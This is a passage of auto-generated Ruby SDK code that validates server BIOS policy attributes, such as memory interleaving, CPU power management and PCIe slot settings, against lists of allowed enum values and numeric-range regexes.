EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_gnb_smucppc_validator.valid?(@cbs_cmn_gnb_smucppc)\n cbs_cmn_mem_ctrl_bank_group_swap_ddr4_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_mem_ctrl_bank_group_swap_ddr4_validator.valid?(@cbs_cmn_mem_ctrl_bank_group_swap_ddr4)\n cbs_cmn_mem_map_bank_interleave_ddr4_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\"])\n return false unless cbs_cmn_mem_map_bank_interleave_ddr4_validator.valid?(@cbs_cmn_mem_map_bank_interleave_ddr4)\n cbs_cmnc_tdp_ctl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Manual\"])\n return false unless cbs_cmnc_tdp_ctl_validator.valid?(@cbs_cmnc_tdp_ctl)\n cbs_cpu_ccd_ctrl_ssp_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"2 CCDs\", \"3 CCDs\", \"4 CCDs\", \"6 CCDs\", \"Auto\"])\n return false unless cbs_cpu_ccd_ctrl_ssp_validator.valid?(@cbs_cpu_ccd_ctrl_ssp)\n cbs_cpu_core_ctrl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"FIVE (5 + 0)\", \"FOUR (4 + 0)\", \"ONE (1 + 0)\", \"SEVEN (7 + 0)\", \"SIX (6 + 0)\", \"THREE (3 + 0)\", \"TWO (2 + 0)\"])\n return false unless cbs_cpu_core_ctrl_validator.valid?(@cbs_cpu_core_ctrl)\n cbs_cpu_smt_ctrl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cpu_smt_ctrl_validator.valid?(@cbs_cpu_smt_ctrl)\n cbs_dbg_cpu_snp_mem_cover_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Custom\", \"disabled\", \"enabled\"])\n return false unless cbs_dbg_cpu_snp_mem_cover_validator.valid?(@cbs_dbg_cpu_snp_mem_cover)\n return false if !@cbs_dbg_cpu_snp_mem_size_cover.nil? && @cbs_dbg_cpu_snp_mem_size_cover !~ Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-9]\\d{4}|[1-9]\\d{5}|10[0-3]\\d{4}|104[0-7]\\d{3}|1048[0-4]\\d{2}|10485[0-6]\\d|104857[0-6])$|^(platform-default)$/)\n cbs_df_cmn_acpi_srat_l3numa_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_df_cmn_acpi_srat_l3numa_validator.valid?(@cbs_df_cmn_acpi_srat_l3numa)\n cbs_df_cmn_dram_nps_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"NPS0\", \"NPS1\", \"NPS2\", \"NPS4\"])\n return false unless cbs_df_cmn_dram_nps_validator.valid?(@cbs_df_cmn_dram_nps)\n cbs_df_cmn_mem_intlv_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Channel\", \"Die\", \"None\", \"Socket\"])\n return false unless cbs_df_cmn_mem_intlv_validator.valid?(@cbs_df_cmn_mem_intlv)\n cbs_df_cmn_mem_intlv_size_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"256 Bytes\", \"512 Bytes\", \"1 KB\", \"2 KB\", \"4 KB\", \"Auto\"])\n return false unless cbs_df_cmn_mem_intlv_size_validator.valid?(@cbs_df_cmn_mem_intlv_size)\n cbs_sev_snp_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cbs_sev_snp_support_validator.valid?(@cbs_sev_snp_support)\n cdn_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cdn_enable_validator.valid?(@cdn_enable)\n cdn_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"LOMs Only\"])\n return false unless cdn_support_validator.valid?(@cdn_support)\n channel_inter_leave_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1-way\", \"2-way\", \"3-way\", \"4-way\", \"auto\"])\n return false unless channel_inter_leave_validator.valid?(@channel_inter_leave)\n cisco_adaptive_mem_training_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cisco_adaptive_mem_training_validator.valid?(@cisco_adaptive_mem_training)\n cisco_debug_level_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Maximum\", \"Minimum\", \"Normal\"])\n return false unless cisco_debug_level_validator.valid?(@cisco_debug_level)\n cisco_oprom_launch_optimization_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cisco_oprom_launch_optimization_validator.valid?(@cisco_oprom_launch_optimization)\n cisco_xgmi_max_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cisco_xgmi_max_speed_validator.valid?(@cisco_xgmi_max_speed)\n cke_low_policy_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"auto\", \"disabled\", \"fast\", \"slow\"])\n return false unless cke_low_policy_validator.valid?(@cke_low_policy)\n closed_loop_therm_throtl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless closed_loop_therm_throtl_validator.valid?(@closed_loop_therm_throtl)\n cmci_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cmci_enable_validator.valid?(@cmci_enable)\n config_tdp_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless config_tdp_validator.valid?(@config_tdp)\n config_tdp_level_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Level 1\", \"Level 2\", \"Normal\"])\n return false unless config_tdp_level_validator.valid?(@config_tdp_level)\n console_redirection_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"com-0\", \"com-1\", \"disabled\", \"enabled\", \"serial-port-a\"])\n return false unless console_redirection_validator.valid?(@console_redirection)\n core_multi_processing_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"all\"])\n return false unless core_multi_processing_validator.valid?(@core_multi_processing)\n cpu_energy_performance_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"balanced-energy\", \"balanced-performance\", \"balanced-power\", \"energy-efficient\", \"performance\", \"power\"])\n return false unless cpu_energy_performance_validator.valid?(@cpu_energy_performance)\n cpu_frequency_floor_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless cpu_frequency_floor_validator.valid?(@cpu_frequency_floor)\n cpu_perf_enhancement_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\"])\n return false unless cpu_perf_enhancement_validator.valid?(@cpu_perf_enhancement)\n cpu_performance_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"custom\", \"enterprise\", \"high-throughput\", \"hpc\"])\n return false unless cpu_performance_validator.valid?(@cpu_performance)\n cpu_power_management_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"custom\", \"disabled\", \"energy-efficient\", \"performance\"])\n return false unless cpu_power_management_validator.valid?(@cpu_power_management)\n cr_qos_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Disabled\", \"Mode 0 - Disable the PMem QoS Feature\", \"Mode 1 - M2M QoS Enable and CHA QoS Disable\", \"Mode 2 - M2M QoS Enable and CHA QoS Enable\", \"Recipe 1\", \"Recipe 2\", \"Recipe 3\"])\n return false unless cr_qos_validator.valid?(@cr_qos)\n crfastgo_config_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Default\", \"Disable optimization\", \"Enable optimization\", \"Option 1\", \"Option 2\", \"Option 3\", \"Option 4\", \"Option 5\"])\n return false unless crfastgo_config_validator.valid?(@crfastgo_config)\n dcpmm_firmware_downgrade_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless dcpmm_firmware_downgrade_validator.valid?(@dcpmm_firmware_downgrade)\n demand_scrub_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless demand_scrub_validator.valid?(@demand_scrub)\n direct_cache_access_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"auto\", \"disabled\", \"enabled\"])\n return false unless direct_cache_access_validator.valid?(@direct_cache_access)\n dram_clock_throttling_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Balanced\", \"Energy Efficient\", \"Performance\"])\n return false unless dram_clock_throttling_validator.valid?(@dram_clock_throttling)\n dram_refresh_rate_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1x\", \"2x\", \"3x\", \"4x\", \"Auto\"])\n return false unless dram_refresh_rate_validator.valid?(@dram_refresh_rate)\n dram_sw_thermal_throttling_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless dram_sw_thermal_throttling_validator.valid?(@dram_sw_thermal_throttling)\n eadr_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless eadr_support_validator.valid?(@eadr_support)\n edpc_en_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Disabled\", \"On Fatal Error\", \"On Fatal and Non-Fatal Errors\"])\n return false unless edpc_en_validator.valid?(@edpc_en)\n enable_clock_spread_spec_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless enable_clock_spread_spec_validator.valid?(@enable_clock_spread_spec)\n enable_mktme_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless enable_mktme_validator.valid?(@enable_mktme)\n enable_sgx_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless enable_sgx_validator.valid?(@enable_sgx)\n enable_tme_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless enable_tme_validator.valid?(@enable_tme)\n energy_efficient_turbo_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless energy_efficient_turbo_validator.valid?(@energy_efficient_turbo)\n eng_perf_tuning_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"BIOS\", \"OS\"])\n return false unless eng_perf_tuning_validator.valid?(@eng_perf_tuning)\n enhanced_intel_speed_step_tech_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless enhanced_intel_speed_step_tech_validator.valid?(@enhanced_intel_speed_step_tech)\n epoch_update_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Change to New Random Owner EPOCHs\", \"Manual User Defined Owner EPOCHs\", \"SGX Owner EPOCH activated\"])\n return false unless epoch_update_validator.valid?(@epoch_update)\n epp_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless epp_enable_validator.valid?(@epp_enable)\n epp_profile_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Balanced Performance\", \"Balanced Power\", \"Performance\", \"Power\"])\n return false unless epp_profile_validator.valid?(@epp_profile)\n execute_disable_bit_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless execute_disable_bit_validator.valid?(@execute_disable_bit)\n extended_apic_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"X2APIC\", \"XAPIC\"])\n return false unless extended_apic_validator.valid?(@extended_apic)\n flow_control_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"none\", \"rts-cts\"])\n return false unless flow_control_validator.valid?(@flow_control)\n frb2enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless frb2enable_validator.valid?(@frb2enable)\n hardware_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless hardware_prefetch_validator.valid?(@hardware_prefetch)\n hwpm_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Disabled\", \"HWPM Native Mode\", \"HWPM OOB Mode\", \"NATIVE MODE\", \"Native Mode with no Legacy\", \"OOB MODE\"])\n return false unless hwpm_enable_validator.valid?(@hwpm_enable)\n imc_interleave_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1-way Interleave\", \"2-way Interleave\", \"Auto\"])\n return false unless imc_interleave_validator.valid?(@imc_interleave)\n intel_dynamic_speed_select_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_dynamic_speed_select_validator.valid?(@intel_dynamic_speed_select)\n intel_hyper_threading_tech_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_hyper_threading_tech_validator.valid?(@intel_hyper_threading_tech)\n intel_speed_select_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Base\", \"Config 1\", \"Config 2\", \"Config 3\", \"Config 4\"])\n return false unless intel_speed_select_validator.valid?(@intel_speed_select)\n intel_turbo_boost_tech_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_turbo_boost_tech_validator.valid?(@intel_turbo_boost_tech)\n intel_virtualization_technology_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_virtualization_technology_validator.valid?(@intel_virtualization_technology)\n intel_vt_for_directed_io_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_vt_for_directed_io_validator.valid?(@intel_vt_for_directed_io)\n intel_vtd_coherency_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_vtd_coherency_support_validator.valid?(@intel_vtd_coherency_support)\n intel_vtd_interrupt_remapping_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_vtd_interrupt_remapping_validator.valid?(@intel_vtd_interrupt_remapping)\n intel_vtd_pass_through_dma_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_vtd_pass_through_dma_support_validator.valid?(@intel_vtd_pass_through_dma_support)\n intel_vtdats_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless intel_vtdats_support_validator.valid?(@intel_vtdats_support)\n ioh_error_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"No\", \"Yes\"])\n return false unless ioh_error_enable_validator.valid?(@ioh_error_enable)\n ioh_resource_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"IOH0 24k IOH1 40k\", \"IOH0 32k IOH1 32k\", \"IOH0 40k IOH1 24k\", \"IOH0 48k IOH1 16k\", \"IOH0 56k IOH1 8k\"])\n return false unless ioh_resource_validator.valid?(@ioh_resource)\n ip_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless ip_prefetch_validator.valid?(@ip_prefetch)\n ipv4http_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless ipv4http_validator.valid?(@ipv4http)\n ipv4pxe_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless ipv4pxe_validator.valid?(@ipv4pxe)\n ipv6http_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless ipv6http_validator.valid?(@ipv6http)\n ipv6pxe_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless ipv6pxe_validator.valid?(@ipv6pxe)\n kti_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless kti_prefetch_validator.valid?(@kti_prefetch)\n legacy_os_redirection_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless legacy_os_redirection_validator.valid?(@legacy_os_redirection)\n legacy_usb_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"auto\", \"disabled\", \"enabled\"])\n return false unless legacy_usb_support_validator.valid?(@legacy_usb_support)\n llc_alloc_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless llc_alloc_validator.valid?(@llc_alloc)\n llc_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless llc_prefetch_validator.valid?(@llc_prefetch)\n lom_port0state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless lom_port0state_validator.valid?(@lom_port0state)\n lom_port1state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless lom_port1state_validator.valid?(@lom_port1state)\n lom_port2state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless lom_port2state_validator.valid?(@lom_port2state)\n lom_port3state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless lom_port3state_validator.valid?(@lom_port3state)\n lom_ports_all_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless lom_ports_all_state_validator.valid?(@lom_ports_all_state)\n lv_ddr_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"auto\", \"performance-mode\", \"power-saving-mode\"])\n return false unless lv_ddr_mode_validator.valid?(@lv_ddr_mode)\n make_device_non_bootable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless make_device_non_bootable_validator.valid?(@make_device_non_bootable)\n memory_bandwidth_boost_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless memory_bandwidth_boost_validator.valid?(@memory_bandwidth_boost)\n memory_inter_leave_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1 Way Node Interleave\", \"2 Way Node Interleave\", \"4 Way Node Interleave\", \"8 Way Node Interleave\", \"disabled\", \"enabled\"])\n return false unless memory_inter_leave_validator.valid?(@memory_inter_leave)\n memory_mapped_io_above4gb_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless memory_mapped_io_above4gb_validator.valid?(@memory_mapped_io_above4gb)\n memory_refresh_rate_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1x Refresh\", \"2x Refresh\"])\n return false unless memory_refresh_rate_validator.valid?(@memory_refresh_rate)\n return false if !@memory_size_limit.nil? && @memory_size_limit !~ Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-5]\\d{4}|6[0-4]\\d{3}|65[0-4]\\d{2}|655[0-2]\\d|6553[0-5])$|^(platform-default)$/)\n memory_thermal_throttling_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"CLTT with PECI\", \"Disabled\"])\n return false unless memory_thermal_throttling_validator.valid?(@memory_thermal_throttling)\n mirroring_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"inter-socket\", \"intra-socket\"])\n return false unless mirroring_mode_validator.valid?(@mirroring_mode)\n mmcfg_base_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1 GB\", \"2 GB\", \"2.5 GB\", \"3 GB\", \"Auto\"])\n return false unless mmcfg_base_validator.valid?(@mmcfg_base)\n network_stack_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless network_stack_validator.valid?(@network_stack)\n numa_optimized_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless numa_optimized_validator.valid?(@numa_optimized)\n nvmdimm_perform_config_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"BW Optimized\", \"Balanced Profile\", \"Latency Optimized\"])\n return false unless nvmdimm_perform_config_validator.valid?(@nvmdimm_perform_config)\n onboard10gbit_lom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless onboard10gbit_lom_validator.valid?(@onboard10gbit_lom)\n onboard_gbit_lom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless onboard_gbit_lom_validator.valid?(@onboard_gbit_lom)\n onboard_scu_storage_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless onboard_scu_storage_support_validator.valid?(@onboard_scu_storage_support)\n onboard_scu_storage_sw_stack_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Intel RSTe\", \"LSI SW RAID\"])\n return false unless onboard_scu_storage_sw_stack_validator.valid?(@onboard_scu_storage_sw_stack)\n operation_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Test Only\", \"Test and Repair\"])\n return false unless operation_mode_validator.valid?(@operation_mode)\n os_boot_watchdog_timer_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless os_boot_watchdog_timer_validator.valid?(@os_boot_watchdog_timer)\n os_boot_watchdog_timer_policy_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"do-nothing\", \"power-off\", \"reset\"])\n return false unless os_boot_watchdog_timer_policy_validator.valid?(@os_boot_watchdog_timer_policy)\n os_boot_watchdog_timer_timeout_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"5-minutes\", \"10-minutes\", \"15-minutes\", \"20-minutes\"])\n return false unless os_boot_watchdog_timer_timeout_validator.valid?(@os_boot_watchdog_timer_timeout)\n out_of_band_mgmt_port_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless out_of_band_mgmt_port_validator.valid?(@out_of_band_mgmt_port)\n package_cstate_limit_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"C0 C1 State\", \"C0/C1\", \"C2\", \"C6 Non Retention\", \"C6 Retention\", \"No Limit\"])\n return false unless package_cstate_limit_validator.valid?(@package_cstate_limit)\n panic_high_watermark_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"High\", \"Low\"])\n return false unless panic_high_watermark_validator.valid?(@panic_high_watermark)\n partial_cache_line_sparing_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless partial_cache_line_sparing_validator.valid?(@partial_cache_line_sparing)\n partial_mirror_mode_config_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"Percentage\", \"Value in GB\"])\n return false unless partial_mirror_mode_config_validator.valid?(@partial_mirror_mode_config)\n return false if !@partial_mirror_percent.nil? && @partial_mirror_percent !~ Regexp.new(/^(\\d\\.\\d{1,2}|[1-4]\\d\\.\\d{1,2}|50\\.[0]{1,2})$|^(platform-default)$/)\n return false if !@partial_mirror_value1.nil? && @partial_mirror_value1 !~ Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-5]\\d{4}|6[0-4]\\d{3}|65[0-4]\\d{2}|655[0-2]\\d|6553[0-5])$|^(platform-default)$/)\n return false if !@partial_mirror_value2.nil? && @partial_mirror_value2 !~ Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-5]\\d{4}|6[0-4]\\d{3}|65[0-4]\\d{2}|655[0-2]\\d|6553[0-5])$|^(platform-default)$/)\n return false if !@partial_mirror_value3.nil? && @partial_mirror_value3 !~ Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-5]\\d{4}|6[0-4]\\d{3}|65[0-4]\\d{2}|655[0-2]\\d|6553[0-5])$|^(platform-default)$/)\n return false if !@partial_mirror_value4.nil? && @partial_mirror_value4 !~ Regexp.new(/^(\\d|[1-9]\\d|[1-9]\\d{2}|[1-9]\\d{3}|[1-5]\\d{4}|6[0-4]\\d{3}|65[0-4]\\d{2}|655[0-2]\\d|6553[0-5])$|^(platform-default)$/)\n patrol_scrub_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"Enable at End of POST\", \"enabled\"])\n return false unless patrol_scrub_validator.valid?(@patrol_scrub)\n return false if !@patrol_scrub_duration.nil? && @patrol_scrub_duration !~ Regexp.new(/^([5-9]|1\\d|2[0-3])$|^(platform-default)$/)\n pc_ie_ras_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pc_ie_ras_support_validator.valid?(@pc_ie_ras_support)\n pc_ie_ssd_hot_plug_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pc_ie_ssd_hot_plug_support_validator.valid?(@pc_ie_ssd_hot_plug_support)\n pch_usb30mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pch_usb30mode_validator.valid?(@pch_usb30mode)\n pci_option_ro_ms_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless pci_option_ro_ms_validator.valid?(@pci_option_ro_ms)\n pci_rom_clp_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pci_rom_clp_validator.valid?(@pci_rom_clp)\n pcie_ari_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless pcie_ari_support_validator.valid?(@pcie_ari_support)\n pcie_pll_ssc_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"ZeroPointFive\"])\n return false unless pcie_pll_ssc_validator.valid?(@pcie_pll_ssc)\n pcie_slot_mraid1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless pcie_slot_mraid1link_speed_validator.valid?(@pcie_slot_mraid1link_speed)\n pcie_slot_mraid1option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_mraid1option_rom_validator.valid?(@pcie_slot_mraid1option_rom)\n pcie_slot_mraid2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless pcie_slot_mraid2link_speed_validator.valid?(@pcie_slot_mraid2link_speed)\n pcie_slot_mraid2option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_mraid2option_rom_validator.valid?(@pcie_slot_mraid2option_rom)\n pcie_slot_mstorraid_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless pcie_slot_mstorraid_link_speed_validator.valid?(@pcie_slot_mstorraid_link_speed)\n pcie_slot_mstorraid_option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_mstorraid_option_rom_validator.valid?(@pcie_slot_mstorraid_option_rom)\n pcie_slot_nvme1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless pcie_slot_nvme1link_speed_validator.valid?(@pcie_slot_nvme1link_speed)\n pcie_slot_nvme1option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_nvme1option_rom_validator.valid?(@pcie_slot_nvme1option_rom)\n pcie_slot_nvme2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless pcie_slot_nvme2link_speed_validator.valid?(@pcie_slot_nvme2link_speed)\n pcie_slot_nvme2option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_nvme2option_rom_validator.valid?(@pcie_slot_nvme2option_rom)\n pcie_slot_nvme3link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless pcie_slot_nvme3link_speed_validator.valid?(@pcie_slot_nvme3link_speed)\n pcie_slot_nvme3option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_nvme3option_rom_validator.valid?(@pcie_slot_nvme3option_rom)\n pcie_slot_nvme4link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless pcie_slot_nvme4link_speed_validator.valid?(@pcie_slot_nvme4link_speed)\n pcie_slot_nvme4option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless 